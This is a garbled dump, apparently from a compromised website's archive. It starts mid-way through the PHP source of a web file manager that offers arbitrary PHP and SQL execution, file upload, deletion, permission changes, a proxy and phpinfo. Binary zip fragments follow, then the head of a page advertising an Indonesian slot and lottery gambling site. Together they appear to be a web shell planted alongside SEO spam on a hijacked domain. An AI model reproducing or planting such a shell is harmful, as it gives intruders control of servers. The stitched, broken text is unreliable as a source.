__('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?php echo __('File manager'); echo !empty($path) ? ' - ' . $path : ''; ?></th> </tr> <?php if (!empty($msg)) { ?> <tr> <td colspan="2" class="row2"><?php echo $msg; ?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?php echo fm_home(); ?> </td> <td> <?php if (!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?php echo __('Make directory'); ?>"> </form> <?php } ?> </td> <td> <?php if (!empty($fm_config['new_file'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?php echo __('New file'); ?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?php echo $url_inc; ?>" style="display:inline"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" placeholder="<?php echo __('Recursive search'); ?>" name="search_recursive" value="<?php echo !empty($_POST['search_recursive']) ? $_POST['search_recursive'] : ''; ?>" size="15"> <input type="text" name="mask" placeholder="<?php echo __('Mask'); ?>" value="<?php echo !empty($_POST['mask']) ? $_POST['mask'] : '*.*'; ?>" size="5"> <input type="submit" name="search" value="<?php echo __('Search'); ?>"> </form> </td> <td> <?php echo fm_run_input('php'); ?> </td> <td> <?php echo fm_run_input('sql'); ?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?php echo $url_inc; ?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?php echo __('Select the file'); ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?php echo __('Upload'); ?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?php echo __('Hello'); ?>, <?php echo $auth['login']; ?> <input type="submit" value="<?php echo __('Quit'); ?>"> </form> <?php } ?> </td> <td> <?php echo fm_lang_form($language); ?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?php echo __('Filename'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Size'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Date'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Rights'); ?> </th> <th colspan="4" style="white-space:nowrap"> <?php echo __('Manage'); ?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file) { if (@is_dir($path . $file)) { $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file) { $filename = $path . $file; $filedata = @stat($filename); if (@is_dir($filename)) { $filedata[7] = ''; if (!empty($fm_config['show_dir_size']) && !fm_root($file)) { $filedata[7] = fm_dir_size($filename); } $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder"> </span> ' . $file . '</a>'; $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file); $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file); $style = 'row2'; if (!fm_root($file)) { $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } else { $alert = ''; } } else { $link = $fm_config['show_img'] && @getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img"> </span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file"> </span> ' . $file . '</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file); $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>'; $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?php echo $style; ?>"> <td><?php echo $link; ?></td> <td><?php echo $filedata[7]; ?></td> <td style="white-space:nowrap"><?php echo gmdate("Y-m-d H:i:s", $filedata[9]); ?></td> <td><?php echo $rightstext; ?></td> <td><?php echo $deletelink; ?></td> <td><?php echo $renamelink; ?></td> <td><?php echo $loadlink; ?></td> <td><?php echo $arlink; ?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="' . fm_site_url() . '">.</a>'; if (!empty($fm_config['show_php_ver'])) { echo ' | PHP ' . phpversion(); } if (!empty($fm_config['show_php_ini'])) { echo ' | ' . php_ini_loaded_file(); } if (!empty($fm_config['show_gt'])) { echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2); } if (!empty($fm_config['enable_proxy'])) { echo ' | <a href="?proxy=true">proxy</a>'; } if (!empty($fm_config['show_phpinfo'])) { echo ' | <a href="?phpinfo=true">phpinfo</a>'; } if (!empty($fm_config['show_xls']) && !empty($link)) { echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>'; } if (!empty($fm_config['fm_settings'])) { echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>'; } ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct() { if (!isset($this->errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . '.tmp')) { $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp'; return false; } $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb'); if (!$tmpArchive) { $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable'); rename($this->archive_name . '.tmp', $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . '.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . '.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __('No file') . __(' to ') . __('Archive'); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, 'rb')) { $data = fread($fp, 2); fclose($fp); if ($data == '\\37\\213') { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, 'rb'); } else { $this->tmp_file = fopen($fileName, 'rb'); } if (!$this->tmp_file) { $this->errors[] = $fileName . ' ' . __('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = ' (' . $message . ')'; } $message = __('Error occurred') . $message . ': <br/>'; foreach ($Errors as $value) { $message .= $value . '<br/>'; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __('No file') . ' ' . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename) <= 0) { $this->errors[] = __('Filename') . ' ' . __('is incorrect'); return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, 'rb')) == 0) { $this->errors[] = __('Mode ') . __('is incorrect'); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable'); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != '.' && $dir != '..') { $file_array_tmp = array(); if ($filename != '.') { $file_array_tmp[] = $filename . '/' . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace('\\', '/', $path); if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) { $path = './' . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header['filename'] == '') { continue; } if ($header['typeflag'] == 'L') { //reading long header $filename = ''; $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header['filename'] = $filename; } return true; } if ($path != './' && $path != '/') { while (substr($path, -1) == '/') { $path = substr($path, 0, strlen($path) - 1); } if (substr($header['filename'], 0, 1) == '/') { $header['filename'] = $path . $header['filename']; } else { $header['filename'] = $path . '/' . $header['filename']; } } if (file_exists($header['filename'])) { if (@is_dir($header['filename']) && $header['typeflag'] == '') { $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder'); return false; } if (is_file($header['filename']) && $header['typeflag'] == '5') { $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } if (!is_writeable($header['filename'])) { $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) { $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename']; return false; } if ($header['typeflag'] == '5') { if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file') . ' ' . $header['filename']; return false; } else { $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header['size'] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header['size'] % 512); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) { $file_dir = ''; } if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') { $file_dir = '/'; } $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header['filename'] = ''; return true; } if (strlen($binaryData) != 512) { $header['filename'] = ''; $this->__('Invalid block size') . ': ' . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum) { $header['filename'] = ''; if ($checksum == 256 && $header['checksum'] == 0) { return true; } $this->errors[] = __('Error checksum for file ') . $unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') { $header['size'] = 0; } $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename) { $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } // Last part of the header for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, 'wb9f'); } else { $this->tmp_file = fopen($this->archive_name, 'wb'); } if (!$this->tmp_file) { $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name; return false; } return true; } function readBlock() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { $block = gzread($this->tmp_file, 512); } else { $block = fread($this->tmp_file, 512); } } else { $block = ''; } return $block; } function writeBlock($data, $length = 0) { if (is_resource($this->tmp_file)) { if ($length === 0) { if ($this->isGzipped) { gzputs($this->tmp_file, $data); } else { fputs($this->tmp_file, $data); } } else { if ($this->isGzipped) { gzputs($this->tmp_file, $data, $length); } else { fputs($this->tmp_file, $data, $length); } } } } function closeTmpFile() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { gzclose($this->tmp_file); } else { fclose($this->tmp_file); } $this->tmp_file = 0; } } function makeGoodPath($path) { if (strlen($path) > 0) { $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath) - 1; for ($i = $els; $i >= 0; $i--) { if ($partPath[$i] == '.') { // Ignore this directory } elseif ($partPath[$i] == '..') { $i--; } elseif ($partPath[$i] == '' and $i != $els and $i != 0) { } else { $result = $partPath[$i] . ($i != $els ? '/' . $result : ''); } } } else { $result = ''; } return $result; } }PK �:�\���5 5 google06d02b30ffd6e40c.htmlnu �[��� google-site-verification: google06d02b30ffd6e40c.htmlPK �:�\�t�� �� index.htmlnu �[��� <!doctype html> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" data-authenticated-account> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1"> <base href="https://sulfurlamp.com/"> <meta charset="utf-8" /> <meta name="google-site-verification" content="jhmLgxayouxf_8FbdwjNlZhcPVerNesI0T5Wu9-aYNg" /> <title>JAJANTOGEL Platform Login Situs Slot Dan Togel Pasaran Terviral</title> <link rel="icon" type="image/x-icon" href="https://i.gyazo.com/4e474546d154608157d7177399599d69.png"/> <link rel="amphtml" href="https://pub-3a21eae6e3db4118b1be94b061a69242.r2.dev/sulfurlamp.html"/> <link rel="canonical" href="https://sulfurlamp.com/"/> <meta property="og:site_name" content="JAJANTOGEL"/> <meta property="og:title" content="JAJANTOGEL Platform Login Situs Slot Dan Togel Pasaran Terviral"/> <meta property="og:url" content="https://sulfurlamp.com/"/> <meta property="og:type" content="product"/> <meta property="og:description" content="JAJANTOGEL merupakan platform unggulan dengan link login situs slot resmi dan togel online dengan pasaran terviral di indonesia, jajantogel memberikan pelayanan terbaik dan proses tercepat."/> <meta property="og:image" content="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png"/> <meta property="og:image:width" content="840"/> <meta property="og:image:height" content="480"/> <meta property="product:price:amount" content="888.00"/> <meta property="product:price:currency" content="IDR"/> <meta property="product:availability" content="instock"/> <meta itemprop="name" content="JAJANTOGEL Platform Login Situs Slot Dan Togel Pasaran Terviral"/> <meta itemprop="url" content="https://sulfurlamp.com/"/> <meta itemprop="description" content="JAJANTOGEL merupakan platform unggulan dengan link login situs slot resmi dan togel online dengan pasaran terviral di indonesia, jajantogel memberikan pelayanan terbaik dan proses tercepat." /> <meta itemprop="thumbnailUrl" content="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png"/> <link rel="image_src" href="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png"/> <meta itemprop="image" content="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png"/> <meta name="twitter:title" content="JAJANTOGEL Platform Login Situs Slot Dan Togel Pasaran Terviral" /> <meta name="twitter:image" content="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png"/> <meta name="twitter:url" content="https://sulfurlamp.com/"/> <meta name="twitter:card" content="summary"/> <meta name="twitter:description" content="JAJANTOGEL merupakan platform unggulan dengan link login situs slot resmi dan togel online dengan pasaran terviral di indonesia, jajantogel memberikan pelayanan terbaik dan proses tercepat."/> <meta name="description" content="JAJANTOGEL merupakan platform unggulan dengan link login situs slot resmi dan togel online dengan pasaran terviral di indonesia, jajantogel memberikan pelayanan terbaik dan proses tercepat."/> <link rel="preconnect" href="https://images.squarespace-cdn.com"> <script type="text/javascript" src="//use.typekit.net/ik/YBu34tnxV4Qnak-NQdXM8x5qF7OcRbDshoILwz0AU8Jfe7CgfFHN4UJLFRbh52jhWDjuZcb3ZRqtwAmRwR9oFeFR5eZyw2Ia5gGMJ6lzS1gGZWmDOWgkdkJPjAszjc9lZhBkjAuzdcblSY4zH6GJE_tgIMMjgfMfH6GJujXfIMMjgPMfH6GJEdtgIMMjgkMfH6GJEntgIMMj2KMfH6qJvDbbMs6IJMJ7fbR3FgMgeMS6MKG4fVJXIMIj2KMfH6qJvQbbMs6sJMHbMZcLNHve.js"></script> <script type="text/javascript">try { Typekit.load(); } catch (e) { }</script> <script type="text/javascript" crossorigin="anonymous" defer="defer" nomodule="nomodule" src="//assets.squarespace.com/@sqs/polyfiller/1.6/legacy.js"></script> <script type="text/javascript" crossorigin="anonymous" defer="defer" src="//assets.squarespace.com/@sqs/polyfiller/1.6/modern.js"></script> <script type="text/javascript">SQUARESPACE_ROLLUPS = {};</script> <script>(function (rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-compressed/extract-css-runtime-901b92ac6382aa506e2c-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-extract_css_runtime');</script> <script>(function (rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-compressed/extract-css-moment-js-vendor-6f117db4eb7fd4392375-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-extract_css_moment_js_vendor');</script> <script>(function (rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-compressed/cldr-resource-pack-1edcdb1d4b6b94ec8c7e-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-cldr_resource_pack');</script> <script>(function (rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-compressed/common-vendors-stable-98890d5c030fb474ba6c-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-common_vendors_stable');</script> <script>(function (rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-compressed/common-vendors-7a98df8511da483159d9-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-common_vendors');</script> <script>(function (rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-compressed/common-6ba49635395d7a3ea6d0-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-common');</script> <script>(function (rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-compressed/commerce-debf953cca7d88c08601-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-commerce');</script> <script>(function (rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].css = ["//assets.squarespace.com/universal/styles-compressed/commerce-2af06f7948db5477d8f5-min.en-US.css"]; })(SQUARESPACE_ROLLUPS, 'squarespace-commerce');</script> <link rel="stylesheet" type="text/css" href="//assets.squarespace.com/universal/styles-compressed/commerce-2af06f7948db5477d8f5-min.en-US.css"> <script data-name="static-context">Static = window.Static || {}; Static.SQUARESPACE_CONTEXT = { "facebookAppId": "314192535267336", "facebookApiVersion": "v6.0", "rollups": { "squarespace-announcement-bar": { "js": "//assets.squarespace.com/universal/scripts-compressed/announcement-bar-2ddc1e1b63fb01508663-min.en-US.js" }, "squarespace-audio-player": { "css": "//assets.squarespace.com/universal/styles-compressed/audio-player-9fb16b1675c0ff315dae-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/audio-player-52e7797854645a8049b0-min.en-US.js" }, "squarespace-blog-collection-list": { "css": "//assets.squarespace.com/universal/styles-compressed/blog-collection-list-0106e2d3707028a62a85-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/blog-collection-list-1e390bbcde22c7bbc97f-min.en-US.js" }, "squarespace-calendar-block-renderer": { "css": "//assets.squarespace.com/universal/styles-compressed/calendar-block-renderer-0e361398b7723c9dc63e-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/calendar-block-renderer-b7f7ef044f34ab60f440-min.en-US.js" }, "squarespace-chartjs-helpers": { "css": "//assets.squarespace.com/universal/styles-compressed/chartjs-helpers-e1c09c17d776634c0edc-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/chartjs-helpers-183bb56124237b096402-min.en-US.js" }, "squarespace-comments": { "css": "//assets.squarespace.com/universal/styles-compressed/comments-24b74a0326eae0cd5049-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/comments-57aaa7e0d8bb4318a484-min.en-US.js" }, "squarespace-custom-css-popup": { "css": 